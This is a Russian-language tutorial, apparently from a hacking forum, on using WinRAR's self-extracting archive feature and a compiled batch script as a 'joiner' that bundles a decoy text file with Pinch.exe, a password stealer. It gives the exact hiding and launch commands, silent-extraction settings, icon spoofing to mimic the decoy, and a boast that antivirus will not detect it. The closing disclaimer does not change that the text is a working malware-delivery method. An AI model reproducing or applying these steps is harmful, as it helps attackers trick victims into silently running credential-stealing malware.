Многие новички нынче часто просят, дайте непалевный джойнер, дайте к нему непалевный криптор... А джойнер имеется прямо под руками -- WinRAR называется, а конкретно, его сервис, который называется SFX.
Программы:
WinRar и Quick Bath File Compiler (залил в файлы)
Также понадобится картинка для файла в формате .ico
Небольшое предисловие.
Джойнер это, по сути, обычный архив, который разархивирует содержащиеся в нем файлы в какую-либо папку, обычно системную или временную, а затем все эти файлы запускает.
При помощи SfxWinRar запустить больше 1 файла нельзя, но вот это файл как раз может запустить остальные:
Представим, что у нас есть два файла, которые нужно склеить вместе - 1.txt и Pinch.exe
Начать предлагаю с написания программы-стартера, который запускает остальные.
Для этого открываем программу Quick Bath File Compiler и пишем в ней следующие строки:
attrib "%userprofile%\sfx" +h +s
cd "%userprofile%\sfx"
start Pinch.exe
start 1.txt
Жмем Options, ставим там параметр Ghost Mode.
Затем выбираем Build и сохраняем файл под именем start
Пояснения:
attrib "%userprofile%\sfx" +h +s
Эта строка скрывает от любопытных глаз папку, куда разархивируются файлы.
%userprofile% это папка профиля пользователя, вошедшего в систему, например:
C:\Documents and Settings\Administrator
cd "%userprofile%\sfx"
Этой строкой переходим в папку распаковки
start Pinch.exe
start 1.txt
Этими строками открываются разархивированные файлы.
//Следует не забывать ставить в начале и в конце путей двойные ковычки
//Имена файлов надо писать с расширением
Теперь приступим к созданию самого архива.
Щелкнем правой кнопкой по пустому месту и в контекстном меню выбераем
Создать a Архив WinRAR. Называем его также как и лицевой файл (У нас - 1).
Открываем архив и добавляем в него файлы и стартер (1.txt , Pinch.exe , start.exe).
Жмем в правом верхнем углу кнопку SFX.
Выбор действия: Добавить новый модуль SFX.
Выбор модуля: Default.SFX
Дополнительные параметры SFX
Общие
Путь для распаковки: "%userprofile%\sfx"
Выполнить после распаковки: start.exe
Режимы
Режим вывода: Скрыть все
Режим перезаписи: Пропускать
Текст и графика
Загрузить значок SFX из файла a Обзор:
Выбираем значок (как значок лицевого файла).
ОК.ОК.
Всё, после преобразования, в папке где был архив должен появится SFX.
ЗЫ Поскольку приложение создано программой WinRAR, никакой Касперский его в жизни не спалит (если конечно архивируемые файлы сами по себе не палятся).
Естественно, статья написана исключительно в ознакомительных целях.